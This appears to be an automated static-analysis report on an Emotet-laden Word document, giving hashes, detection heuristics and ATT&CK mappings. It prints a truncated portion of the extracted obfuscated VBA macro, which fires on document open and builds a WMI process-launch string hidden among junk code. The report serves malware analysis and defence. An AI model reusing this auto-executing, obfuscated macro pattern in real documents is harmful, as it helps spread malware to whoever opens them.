Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8f40611a222c4fb8…

MALICIOUS

Office (OLE)

169.8 KB Created: 2020-09-01 15:35:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 683005df98335ed11148f3ca3ec4e7d8 SHA-1: fab4484c09ee2cd5af2492740c57e5a4a3a8be2b SHA-256: 8f40611a222c4fb8e27120fb520be8d93e4aa213e7de94ad906995eb75d3dc19
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro that executes code using CreateObject. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-9619866-0', strongly suggesting Emotet family. The VBA code is heavily obfuscated but the presence of Document_Open and CreateObject indicates an intent to execute arbitrary code, typical for downloading and installing further malware. The primary IOC is the VBA macro file itself.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9619866-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9619866-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14901 bytes
SHA-256: b4c8c372617058bda4aa50aca1ce5bc5c68cb9daea95c16f3a95142d9b5a550a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jqd3u5vq34m"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
X3v3ctbri49jom_.Vzrsts0zv4vg61qj
End Sub


Attribute VB_Name = "X3v3ctbri49jom_"
Attribute VB_Base = "0{3D189C64-C720-49B7-9C13-91E8444CA875}{E29D6561-14D9-42FA-8538-3884C1F49A66}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Vzrsts0zv4vg61qj()
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Dcbsaxb764hdhe6 = 100
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Yzc7atnc6qmyon2e2 = ChrW(Dcbsaxb764hdhe6 + (dccc + 5 + fbbf + 10))
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Ek336nhcrhqni9 = "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2i34nnx)))) 9(((hwiqi ()()hnwjc2nm34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2gm34nnx)))) 9(((hwiqi ()()hnwjc2t34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2" + Yzc7atnc6qmyon2e2 + "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2:34nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2in34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2334nnx)))) 9(((hwiqi ()()hnwjc2234nnx)))) 9(((hwiqi ()()hnwjc2_34nnx)))) 9(((hwiqi ()()hnwjc2" + X3v3ctbri49jom_.Ysiff3ay_5188rg78 + "34nnx)))) 9(((hwiqi ()()hnwjc2ro34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2ce34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2"
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Deq3vsdwsgtq = Czdr77j5keukrviyz(Ek336nhcrhqni9)
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(
... (truncated)